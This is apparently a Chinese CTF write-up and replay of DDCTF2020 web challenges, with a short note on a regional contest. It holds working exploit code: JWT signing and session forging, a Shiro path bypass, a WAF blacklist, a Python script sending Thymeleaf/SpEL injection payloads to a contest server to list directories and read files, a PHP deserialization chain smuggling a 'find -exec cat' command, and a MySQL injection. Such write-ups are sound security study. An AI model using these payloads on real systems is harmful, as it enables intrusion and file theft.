DDCTF2020 wp和复现
目录
之前写好了,本来想和学习爪洼的记录一起发的,结果感觉有点长,就先发这个8
还缺GMP和thymeleaf的,有时间一定.jpg
Web签到题
这题感觉蛮恶心的,一开始一个jwt 可以爆破出secret,给了个ELF,是GO语言,逆向以后猜出签名的逻辑,然后写个脚本进行签名,最后那个command的地方是SPEL表达式注入
package main import ( "crypto/hmac" "crypto/sha256" "encoding/base64" "fmt" "os" "strconv" "time" ) func ComputeHmac256(message string) string { key := []byte("DDCTFWithYou") h := hmac.New(sha256.New, key) h.Write([]byte(message)) return base64.StdEncoding.EncodeToString(h.Sum(nil)) } func main() { t:=time.Now().Unix() command:=os.Args[1] msg:=command+"|"+strconv.Itoa(int(t)) fmt.Println("{\"signature\":\""+ComputeHmac256(msg)+"\",\"command\":\""+command+"\",\"timestamp\":\""+strconv.Itoa(int(t))+"\"}") }
卡片商店
golang整数溢出,之后伪造session
package main import ( "fmt" "github.com/gorilla/sessions" "net/http" ) // 初始化一个cookie存储对象 var store = sessions.NewCookieStore([]byte("[email protected]")) func main() { http.HandleFunc("/get", GetSession) err := http.ListenAndServe(":2333", nil) if err != nil { fmt.Println("HTTP server failed,err:", err) return } } func GetSession(w http.ResponseWriter, r *http.Request) { session, err := store.Get(r, "session") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } foo := session.Values session.Values["admin"]=true session.Save(r, w) fmt.Println(foo) }
EasyWeb
javaweb,打的时候属实8会,赛后复现
shiro越权
GET /6f0887622b5e34b5c9243f3ff42eb605/;/web/img?img=WEB-INF/classes/com/ctf/controller/IndexController.class
反编译
@Controller public class IndexController { @RequestMapping({"/"}) public String index() { return "redirect:/index"; } @RequestMapping({"/index"}) public String index(Model model) { try { Subject subject = SecurityUtils.getSubject(); User user = (User)subject.getSession().getAttribute("user"); model.addAttribute("name", user.getUsername()); } catch (Exception e) { model.addAttribute("name", "user"); } return "index"; } @GetMapping({"/unauthorized"}) public String unauthorized() { return "unauthorized"; } @RequestMapping({"img"}) public Object img(@RequestParam("img") String img) { ResponseEntity<InputStreamResource> response = null; try { ClassPathResource classPathResource = new ClassPathResource("../../" + img); File file = classPathResource.getFile(); HttpHeaders headers = new HttpHeaders(); headers.add("Cache-Control", "no-cache, no-store, must-revalidate"); headers.add("Content-Disposition", "attachment; filename=" + DigestUtils.md5DigestAsHex(img.getBytes()) + ".jpg"); headers.add("Pragma", "no-cache"); headers.add("Expires", "0"); response = ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentType(MediaType.parseMediaType("application/octet-stream")).body(new InputStreamResource(new FileInputStream(file))); } catch (IOException e) { return "forbidden"; } return response; } }
@PostMapping({"/auth"}) public String auth(@RequestParam("username") String username, @RequestParam("password") String password, HttpSession httpSession, Model model) { UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password); Subject subject = SecurityUtils.getSubject(); String error = null; try { subject.login((AuthenticationToken)usernamePasswordToken); User user = (User)subject.getPrincipal(); httpSession.setAttribute("user", user); for (Role role : user.getRoles()) { if (role.getName().equals("admin")) return "redirect:./68759c96217a32d5b368ad2965f625ef/index"; } return "redirect:./index"; } catch (Exception e) { error = "login failed!"; model.addAttribute("error", Boolean.valueOf(true)); model.addAttribute("msg", error); return "login"; } } }
从上面的authcontroller可以看到admin的路径
另外safecontroller里面有黑名单
private static String[] blacklists = new String[] { "java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io" };
绕过waf完全8会,wp里全靠0.class.forName(T(Character).toString(xxx).concat(T(Character).toString(xxx)).concat(T(Character).toString(xxx)))
,最后用的nio来读目录和文件
import re import requests from flask import Flask, request app = Flask(__name__) def requestToServer(content): content = '[[${{{}}}]]'.format(content) url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize' response = requests.post(url=url, data={'content': content}).text try: redirect = re.search('fetch \./(.*) !', response).group(1) url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/' url += redirect return requests.get(url).text except Exception as e: return str(e) + response def toForNameOrStr(source, strFlag=False): res = 'T(Character).toString(%s)' % ord(source[0]) for ch in source[1:]: res += '.concat(T(Character).toString(%s))' % ord(ch) if strFlag: return res print('0.class. forName({})'.format(res)) return '0.class. forName({})'.format(res) @app.route('/', methods=['GET', 'POST']) def handler(): content = request.args.get('content') dir = request.args.get('dir') file = request.args.get('file') # print(file) if dir: # 单层:java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray()); # 递归:java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray()); listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())'.format( toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, True)) # print(listDirPayload) return requestToServer(listDirPayload) if file: # java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString() catFilePayload = '{}.lines({}.get({})).findFirst().toString()'.format( toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, True)) # print(catFilePayload) return requestToServer(catFilePayload) if cmd: cmdPayload='' return requestToServer(content) if __name__ == '__main__': app.run(debug=True)
这里写wp的大哥没用到
Overwrite Me
这题也没出,看大佬的题解甚至不需要gmp
关键点2个
$a=[$s,'get_flag']; $a();
这样可以执行$a->get_flag();

find xxxxxx -exec 命令 {};
命令执行
<?php class MyClass { var $kw0ng; var $flag; public function __wakeup() { $this->kw0ng = 2; } public function get_flag() { return system('find /flag ' . escapeshellcmd($this->flag)); } } class ShowOff { public $contents; public $page; public function __construct($file='/hint/hint.php') { $this->contents = $file; echo "Welcome to DDCTF 2020, Have fun!<br/><br/>"; } public function __toString() { return $this->contents(); } public function __wakeup() { $this->page->contents = "POP me! I can give you some hints!"; unset($this->page->cont); } } class MiddleMan { private $cont; public $content; public function __construct() { $this->content = array(); } public function __unset($key) { $func = $this->content; return $func(); } } $a=new ShowOff(); $a->page=new MiddleMan(); $b=new MyClass(); $b->flag="-exec cat /HackersForever/suffix_flag.php {} ;"; $a->page->content=[$b,'get_flag']; echo "\n"; $sb=serialize($a); file_put_contents('result',urlencode($sb)); ?>

国赛 西南赛区区域赛
没啥好写的,感觉题目有点傻逼,有一个mysql>=8.0.19的特性不知道,剩下的题好像都蛮简单
select * from test where id =0 or (1,’a’,”)<= (table user limit 1);